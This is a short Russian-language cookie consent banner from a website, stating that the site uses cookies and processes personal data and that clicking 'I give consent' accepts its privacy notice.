На нашем сайте используются файлы cookie и происходит обработка некоторых персональных данных пользователей, чтобы улучшить пользовательский интерфейс. Чтобы узнать для чего и какие персональные данные мы обрабатываем перейдите по ссылке. Если Вы нажмете «Я даю согласие», это означает, что Вы понимаете и принимаете все условия, указанные в этом Уведомлении о Конфиденциальности.